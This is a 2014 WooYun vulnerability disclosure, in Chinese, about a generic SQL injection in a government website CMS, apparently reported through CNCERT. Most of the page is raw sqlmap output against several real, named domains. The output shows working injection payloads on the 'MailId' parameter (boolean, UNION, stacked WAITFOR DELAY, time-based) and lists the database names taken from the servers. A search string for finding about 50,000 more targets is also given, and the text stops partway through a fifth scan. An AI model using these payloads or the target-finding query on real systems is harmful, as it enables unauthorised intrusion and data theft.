当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072159

漏洞标题:某政府建站系统通用型SQL注入漏洞(权限全为sa)

相关厂商:Cncert国家互联网应急中心

漏洞作者: Mosuan

提交时间:2014-08-13 11:46

修复时间:2014-11-11 11:48

公开时间:2014-11-11 11:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 某政府CMS通用SQL注入漏洞(全为sa)
这里,交互页面很脆弱....
我先吐槽句
WooYun: 某用户量特别大的教育类CMS存在通用sql注入
WooYun: 某通用型数字校园系统SQL注射漏洞1-2
这两个求首页啊!搜索不出的案例不少啊!
关键词

inurl:/childcatalog/zxzxinfo.jsp?MailId=


获得约 50,300 条结果
求首页
涉及多个政府网站、
举几个例子

注入地址:http://www.ahn4a.cn/main/model/childcatalog/zxzxinfo.jsp?MailId=49
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:18:04
[00:18:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ahn4a.cn\session' as session file
[00:18:04] [INFO] testing connection to the target url
[00:18:05] [INFO] testing if the url is stable, wait a few seconds
[00:18:07] [INFO] url is stable
[00:18:07] [INFO] testing if GET parameter 'MailId' is dynamic
[00:18:07] [INFO] confirming that GET parameter 'MailId' is dynamic
[00:18:08] [INFO] GET parameter 'MailId' is dynamic
[00:18:09] [WARNING] heuristic test shows that GET parameter 'MailId' might not
be injectable
[00:18:09] [INFO] testing sql injection on GET parameter 'MailId'
[00:18:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:18:12] [INFO] GET parameter 'MailId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:18:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:18:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:18:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:18:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:18:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:18:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:18:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:18:28] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:18:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:18:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:18:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:18:41] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:18:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:19:04] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:19:04] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[00:19:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:19:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:19:13] [INFO] target url appears to have 8 columns in query
[00:19:19] [INFO] GET parameter 'MailId' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'MailId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 43 HTTP(s) requ
ests:
---
Place: GET
Parameter: MailId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MailId=49 AND 2773=2773
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: MailId=-2792 UNION SELECT NULL, NULL, NULL, CHAR(58)+CHAR(117)+CHAR
(100)+CHAR(102)+CHAR(58)+CHAR(90)+CHAR(119)+CHAR(76)+CHAR(118)+CHAR(67)+CHAR(102
)+CHAR(106)+CHAR(109)+CHAR(110)+CHAR(102)+CHAR(58)+CHAR(120)+CHAR(109)+CHAR(102)
+CHAR(58), NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MailId=49; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MailId=49 WAITFOR DELAY '0:0:5'--
---
[00:19:20] [INFO] testing MySQL
[00:19:21] [WARNING] the back-end DBMS is not MySQL
[00:19:21] [INFO] testing Oracle
[00:19:21] [WARNING] the back-end DBMS is not Oracle
[00:19:21] [INFO] testing PostgreSQL
[00:19:22] [WARNING] the back-end DBMS is not PostgreSQL
[00:19:22] [INFO] testing Microsoft SQL Server
[00:19:23] [INFO] confirming Microsoft SQL Server
[00:19:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, JSP
back-end DBMS: Microsoft SQL Server 2005
[00:19:25] [INFO] fetching database names
[00:19:25] [INFO] the SQL query used returns 23 entries
[00:19:26] [INFO] retrieved: "chinarong"
[00:19:27] [INFO] retrieved: "coa"
[00:19:27] [INFO] retrieved: "edu_admin"
[00:19:28] [INFO] retrieved: "edu_scqz"
[00:19:28] [INFO] retrieved: "Gpsdev"
[00:19:49] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:19:51] [INFO] retrieved: "Gpslog"
[00:19:52] [INFO] retrieved: "master"
[00:19:52] [INFO] retrieved: "model"
[00:19:53] [INFO] retrieved: "msdb"
[00:19:53] [INFO] retrieved: "MuOnline"
[00:19:54] [INFO] retrieved: "netweb_ahscqz"
[00:19:55] [INFO] retrieved: "netweb_ahscqzbk"
[00:19:55] [INFO] retrieved: "netweb_ahscyz"
[00:19:56] [INFO] retrieved: "netweb_ahscyzbk"
[00:19:56] [INFO] retrieved: "netweb_ahxsj"
[00:19:57] [INFO] retrieved: "netweb_gdkjw"
[00:19:58] [INFO] retrieved: "netweb_jggs"
[00:19:58] [INFO] retrieved: "netweb_mzyjh"
[00:19:59] [INFO] retrieved: "netweb_sbjs"
[00:20:00] [INFO] retrieved: "netweb_scqzxyl"
[00:20:00] [INFO] retrieved: "netweb_scyzxyl"
[00:20:01] [INFO] retrieved: "OneGame_cn"
[00:20:01] [INFO] retrieved: "tempdb"
available databases [23]:
[*] chinarong
[*] coa
[*] edu_admin
[*] edu_scqz
[*] Gpsdev
[*] Gpslog
[*] master
[*] model
[*] msdb
[*] MuOnline
[*] netweb_ahscqz
[*] netweb_ahscqzbk
[*] netweb_ahscyz
[*] netweb_ahscyzbk
[*] netweb_ahxsj
[*] netweb_gdkjw
[*] netweb_jggs
[*] netweb_mzyjh
[*] netweb_sbjs
[*] netweb_scqzxyl
[*] netweb_scyzxyl
[*] OneGame_cn
[*] tempdb
[00:20:02] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ahn4a.cn'


注入地址:http://www.ahrbg.com/main/model/childcatalog/zxzxinfo.jsp?MailId=391
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:19:35
[00:19:35] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ahrbg.com\session' as session file
[00:19:35] [INFO] testing connection to the target url
[00:19:36] [INFO] testing if the url is stable, wait a few seconds
[00:19:38] [INFO] url is stable
[00:19:38] [INFO] testing if GET parameter 'MailId' is dynamic
[00:19:38] [INFO] confirming that GET parameter 'MailId' is dynamic
[00:19:39] [INFO] GET parameter 'MailId' is dynamic
[00:19:39] [WARNING] heuristic test shows that GET parameter 'MailId' might not
be injectable
[00:19:39] [INFO] testing sql injection on GET parameter 'MailId'
[00:19:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:19:41] [INFO] GET parameter 'MailId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:19:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:19:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:19:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:19:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:19:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:19:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:19:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:19:56] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:19:56] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:19:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:19:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:20:08] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:20:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:20:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:20:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:20:20] [INFO] target url appears to have 8 columns in query
[00:20:25] [INFO] GET parameter 'MailId' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'MailId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 44 HTTP(s) requ
ests:
---
Place: GET
Parameter: MailId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MailId=391 AND 1099=1099
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: MailId=-7578 UNION SELECT NULL, NULL, CHAR(58)+CHAR(101)+CHAR(115)+
CHAR(102)+CHAR(58)+CHAR(75)+CHAR(67)+CHAR(106)+CHAR(85)+CHAR(101)+CHAR(77)+CHAR(
84)+CHAR(99)+CHAR(78)+CHAR(80)+CHAR(58)+CHAR(108)+CHAR(110)+CHAR(110)+CHAR(58),
NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MailId=391; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MailId=391 WAITFOR DELAY '0:0:5'--
---
[00:20:26] [INFO] testing MySQL
[00:20:26] [WARNING] the back-end DBMS is not MySQL
[00:20:26] [INFO] testing Oracle
[00:20:27] [WARNING] the back-end DBMS is not Oracle
[00:20:27] [INFO] testing PostgreSQL
[00:20:27] [WARNING] the back-end DBMS is not PostgreSQL
[00:20:27] [INFO] testing Microsoft SQL Server
[00:20:28] [INFO] confirming Microsoft SQL Server
[00:20:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: JSP, Apache 2.2.16
back-end DBMS: Microsoft SQL Server 2005
[00:20:30] [INFO] fetching database names
[00:20:31] [INFO] the SQL query used returns 29 entries
[00:20:31] [INFO] retrieved: "ahjgjt_ah2j"
[00:20:32] [INFO] retrieved: "ahjgjt_ahjjc"
[00:20:33] [INFO] retrieved: "ahjgjt_ahjky"
[00:20:33] [INFO] retrieved: "ahjgjt_ahjxsj"
[00:20:34] [INFO] retrieved: "ahjgjt_ahlggc"
[00:20:34] [INFO] retrieved: "ahjgjt_ahrbg"
[00:20:35] [INFO] retrieved: "ahjgjt_ahshz"
[00:20:36] [INFO] retrieved: "ahjgjt_ahsj"
[00:20:36] [INFO] retrieved: "ahjgjt_ahsjgs"
[00:20:37] [INFO] retrieved: "ahjgjt_ajaz"
[00:20:40] [INFO] retrieved: "ahjgjt_first"
[00:20:41] [INFO] retrieved: "ahjgjt_jhfc"
[00:20:41] [INFO] retrieved: "ahjgjt_luqiao"
[00:20:42] [INFO] retrieved: "ahjgjt_magazine"
[00:20:43] [INFO] retrieved: "ahjgjt_xyfdc"
[00:20:46] [INFO] retrieved: "jcz"
[00:20:47] [INFO] retrieved: "master"
[00:20:47] [INFO] retrieved: "model"
[00:20:51] [INFO] retrieved: "msdb"
[00:20:51] [INFO] retrieved: "netweb_ahjgjt"
[00:20:52] [INFO] retrieved: "netweb_ahodc"
[00:20:52] [INFO] retrieved: "netweb_glsite"
[00:20:53] [INFO] retrieved: "NG0001"
[00:20:54] [INFO] retrieved: "NG00012008"
[00:20:54] [INFO] retrieved: "NG00012009"
[00:20:55] [INFO] retrieved: "NG00012010"
[00:20:55] [INFO] retrieved: "NG1112"
[00:20:56] [INFO] retrieved: "NGSoft"
[00:20:56] [INFO] retrieved: "tempdb"
available databases [29]:
[*] ahjgjt_ah2j
[*] ahjgjt_ahjjc
[*] ahjgjt_ahjky
[*] ahjgjt_ahjxsj
[*] ahjgjt_ahlggc
[*] ahjgjt_ahrbg
[*] ahjgjt_ahshz
[*] ahjgjt_ahsj
[*] ahjgjt_ahsjgs
[*] ahjgjt_ajaz
[*] ahjgjt_first
[*] ahjgjt_jhfc
[*] ahjgjt_luqiao
[*] ahjgjt_magazine
[*] ahjgjt_xyfdc
[*] jcz
[*] master
[*] model
[*] msdb
[*] netweb_ahjgjt
[*] netweb_ahodc
[*] netweb_glsite
[*] NG0001
[*] NG00012008
[*] NG00012009
[*] NG00012010
[*] NG1112
[*] NGSoft
[*] tempdb
[00:20:57] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ahrbg.com'


注入地址:http://www.ahodc.com/main/model/childcatalog/zxzxinfo.jsp?MailId=61
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:19:49
[00:19:49] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ahodc.com\session' as session file
[00:19:49] [INFO] testing connection to the target url
[00:19:50] [INFO] testing if the url is stable, wait a few seconds
[00:19:51] [INFO] url is stable
[00:19:51] [INFO] testing if GET parameter 'MailId' is dynamic
[00:19:52] [INFO] confirming that GET parameter 'MailId' is dynamic
[00:19:52] [INFO] GET parameter 'MailId' is dynamic
[00:19:52] [WARNING] heuristic test shows that GET parameter 'MailId' might not
be injectable
[00:19:52] [INFO] testing sql injection on GET parameter 'MailId'
[00:19:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:19:55] [INFO] GET parameter 'MailId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:19:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:19:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:19:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:19:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:19:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:19:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:19:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:20:08] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:20:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:20:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:20:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:20:20] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:20:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:20:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:20:26] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:20:29] [INFO] target url appears to have 8 columns in query
[00:20:34] [INFO] GET parameter 'MailId' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'MailId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 43 HTTP(s) requ
ests:
---
Place: GET
Parameter: MailId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MailId=61 AND 7028=7028
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: MailId=-5216 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL,
CHAR(58)+CHAR(116)+CHAR(103)+CHAR(113)+CHAR(58)+CHAR(120)+CHAR(100)+CHAR(101)+C
HAR(112)+CHAR(114)+CHAR(77)+CHAR(86)+CHAR(110)+CHAR(80)+CHAR(87)+CHAR(58)+CHAR(1
22)+CHAR(114)+CHAR(121)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MailId=61; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MailId=61 WAITFOR DELAY '0:0:5'--
---
[00:20:35] [INFO] testing MySQL
[00:20:36] [WARNING] the back-end DBMS is not MySQL
[00:20:36] [INFO] testing Oracle
[00:20:36] [WARNING] the back-end DBMS is not Oracle
[00:20:36] [INFO] testing PostgreSQL
[00:20:37] [WARNING] the back-end DBMS is not PostgreSQL
[00:20:37] [INFO] testing Microsoft SQL Server
[00:20:37] [INFO] confirming Microsoft SQL Server
[00:20:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: JSP, Apache 2.2.16
back-end DBMS: Microsoft SQL Server 2005
[00:20:39] [INFO] fetching database names
[00:20:40] [INFO] the SQL query used returns 29 entries
[00:20:40] [INFO] retrieved: "ahjgjt_ah2j"
[00:20:41] [INFO] retrieved: "ahjgjt_ahjjc"
[00:20:42] [INFO] retrieved: "ahjgjt_ahjky"
[00:20:42] [INFO] retrieved: "ahjgjt_ahjxsj"
[00:20:43] [INFO] retrieved: "ahjgjt_ahlggc"
[00:20:43] [INFO] retrieved: "ahjgjt_ahrbg"
[00:20:44] [INFO] retrieved: "ahjgjt_ahshz"
[00:20:44] [INFO] retrieved: "ahjgjt_ahsj"
[00:20:45] [INFO] retrieved: "ahjgjt_ahsjgs"
[00:20:45] [INFO] retrieved: "ahjgjt_ajaz"
[00:20:46] [INFO] retrieved: "ahjgjt_first"
[00:20:49] [INFO] retrieved: "ahjgjt_jhfc"
[00:20:50] [INFO] retrieved: "ahjgjt_luqiao"
[00:20:50] [INFO] retrieved: "ahjgjt_magazine"
[00:20:54] [INFO] retrieved: "ahjgjt_xyfdc"
[00:20:54] [INFO] retrieved: "jcz"
[00:20:58] [INFO] retrieved: "master"
[00:20:59] [INFO] retrieved: "model"
[00:20:59] [INFO] retrieved: "msdb"
[00:21:00] [INFO] retrieved: "netweb_ahjgjt"
[00:21:01] [INFO] retrieved: "netweb_ahodc"
[00:21:02] [INFO] retrieved: "netweb_glsite"
[00:21:02] [INFO] retrieved: "NG0001"
[00:21:03] [INFO] retrieved: "NG00012008"
[00:21:03] [INFO] retrieved: "NG00012009"
[00:21:04] [INFO] retrieved: "NG00012010"
[00:21:04] [INFO] retrieved: "NG1112"
[00:21:05] [INFO] retrieved: "NGSoft"
[00:21:05] [INFO] retrieved: "tempdb"
available databases [29]:
[*] ahjgjt_ah2j
[*] ahjgjt_ahjjc
[*] ahjgjt_ahjky
[*] ahjgjt_ahjxsj
[*] ahjgjt_ahlggc
[*] ahjgjt_ahrbg
[*] ahjgjt_ahshz
[*] ahjgjt_ahsj
[*] ahjgjt_ahsjgs
[*] ahjgjt_ajaz
[*] ahjgjt_first
[*] ahjgjt_jhfc
[*] ahjgjt_luqiao
[*] ahjgjt_magazine
[*] ahjgjt_xyfdc
[*] jcz
[*] master
[*] model
[*] msdb
[*] netweb_ahjgjt
[*] netweb_ahodc
[*] netweb_glsite
[*] NG0001
[*] NG00012008
[*] NG00012009
[*] NG00012010
[*] NG1112
[*] NGSoft
[*] tempdb
[00:21:06] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ahodc.com'


注入地址:http://www.ahsj-group.com/main/model/childcatalog/zxzxinfo.jsp?MailId=1
775
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:23:07
[00:23:07] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ahsj-group.com\session' as session file
[00:23:08] [INFO] testing connection to the target url
[00:23:08] [INFO] testing if the url is stable, wait a few seconds
[00:23:10] [INFO] url is stable
[00:23:10] [INFO] testing if GET parameter 'MailId' is dynamic
[00:23:11] [INFO] confirming that GET parameter 'MailId' is dynamic
[00:23:12] [INFO] GET parameter 'MailId' is dynamic
[00:23:13] [WARNING] heuristic test shows that GET parameter 'MailId' might not
be injectable
[00:23:13] [INFO] testing sql injection on GET parameter 'MailId'
[00:23:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:23:16] [INFO] GET parameter 'MailId' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:23:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:23:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:23:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:23:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:23:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:23:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:23:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:23:32] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:23:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:23:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:23:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:23:45] [INFO] GET parameter 'MailId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:23:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:24:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:24:02] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:24:05] [INFO] target url appears to have 8 columns in query
[00:24:16] [INFO] GET parameter 'MailId' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'MailId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 44 HTTP(s) requ
ests:
---
Place: GET
Parameter: MailId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: MailId=1775 AND 1129=1129
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: MailId=-3109 UNION SELECT NULL, NULL, NULL, CHAR(58)+CHAR(108)+CHAR
(102)+CHAR(106)+CHAR(58)+CHAR(98)+CHAR(76)+CHAR(81)+CHAR(85)+CHAR(102)+CHAR(73)+
CHAR(118)+CHAR(111)+CHAR(67)+CHAR(111)+CHAR(58)+CHAR(103)+CHAR(107)+CHAR(97)+CHA
R(58), NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: MailId=1775; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: MailId=1775 WAITFOR DELAY '0:0:5'--
---
[00:25:42] [INFO] testing MySQL
[00:25:43] [WARNING] the back-end DBMS is not MySQL
[00:25:43] [INFO] testing Oracle
[00:25:43] [WARNING] the back-end DBMS is not Oracle
[00:25:43] [INFO] testing PostgreSQL
[00:25:44] [WARNING] the back-end DBMS is not PostgreSQL
[00:25:44] [INFO] testing Microsoft SQL Server
[00:25:45] [INFO] confirming Microsoft SQL Server
[00:25:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: JSP, Apache 2.2.16
back-end DBMS: Microsoft SQL Server 2005
[00:25:47] [INFO] fetching database names
[00:25:48] [INFO] the SQL query used returns 29 entries
[00:25:49] [INFO] retrieved: "ahjgjt_ah2j"
[00:25:49] [INFO] retrieved: "ahjgjt_ahjjc"
[00:25:50] [INFO] retrieved: "ahjgjt_ahjky"
[00:25:51] [INFO] retrieved: "ahjgjt_ahjxsj"
[00:25:52] [INFO] retrieved: "ahjgjt_ahlggc"
[00:25:52] [INFO] retrieved: "ahjgjt_ahrbg"
[00:25:53] [INFO] retrieved: "ahjgjt_ahshz"
[00:25:54] [INFO] retrieved: "ahjgjt_ahsj"
[00:25:54] [INFO] retrieved: "ahjgjt_ahsjgs"
[00:25:55] [INFO] retrieved: "ahjgjt_ajaz"
[00:25:56] [INFO] retrieved: "ahjgjt_first"
[00:25:57] [INFO] retrieved: "ahjgjt_jhfc"
[00:25:57] [INFO] retrieved: "ahjgjt_luqiao"
[00:25:58] [INFO] retrieved: "ahjgjt_magazine"
[00:25:59] [INFO] retrieved: "ahjgjt_xyfdc"
[00:25:59] [INFO] retrieved: "jcz"
[00:26:00] [INFO] retrieved: "master"
[00:26:01] [INFO] retrieved: "model"
[00:26:01] [INFO] retrieved: "msdb"
[00:26:02] [INFO] retrieved: "netweb_ahjgjt"
[00:26:03] [INFO] retrieved: "netweb_ahodc"
[00:26:04] [INFO] retrieved: "netweb_glsite"
[00:26:05] [INFO] retrieved: "NG0001"
[00:26:06] [INFO] retrieved: "NG00012008"
[00:26:06] [INFO] retrieved: "NG00012009"
[00:26:07] [INFO] retrieved: "NG00012010"
[00:26:08] [INFO] retrieved: "NG1112"
[00:26:09] [INFO] retrieved: "NGSoft"
[00:26:09] [INFO] retrieved: "tempdb"
available databases [29]:
[*] ahjgjt_ah2j
[*] ahjgjt_ahjjc
[*] ahjgjt_ahjky
[*] ahjgjt_ahjxsj
[*] ahjgjt_ahlggc
[*] ahjgjt_ahrbg
[*] ahjgjt_ahshz
[*] ahjgjt_ahsj
[*] ahjgjt_ahsjgs
[*] ahjgjt_ajaz
[*] ahjgjt_first
[*] ahjgjt_jhfc
[*] ahjgjt_luqiao
[*] ahjgjt_magazine
[*] ahjgjt_xyfdc
[*] jcz
[*] master
[*] model
[*] msdb
[*] netweb_ahjgjt
[*] netweb_ahodc
[*] netweb_glsite
[*] NG0001
[*] NG00012008
[*] NG00012009
[*] NG00012010
[*] NG1112
[*] NGSoft
[*] tempdb
[00:26:09] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ahsj-group.com'
[*] shutting down at 00:26:09


注入地址:http://www.ccmcgc.cn/main/model/childcatalog/zxzxinfo.jsp?MailId=471
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:27:26
[00:27:26] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ccmcgc.cn\session' as session file
[00:27:26] [INFO] testing connection to the target url
[00:27:28] [INFO] testing if the url is stable, wait a few seconds
[00:27:30] [INFO] url is stable
[00:27:30] [INFO] testing if GET parameter 'MailId' is dynamic
[00:27:31] [INFO] confirming that GET parameter 'MailId' is dynamic
[00:27:31] [INFO] GET parameter 'MailId' is dynamic
[00:27:32] [WARNING] heuristic test shows that GET parameter 'MailId' might not
be injectable
[00:27:32] [INFO] testing sql injection on GET parameter 'MailId'
[00:27:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:27:36] [INFO] GET parameter 'MailId' is 'AND boolean-based blind - WHERE or
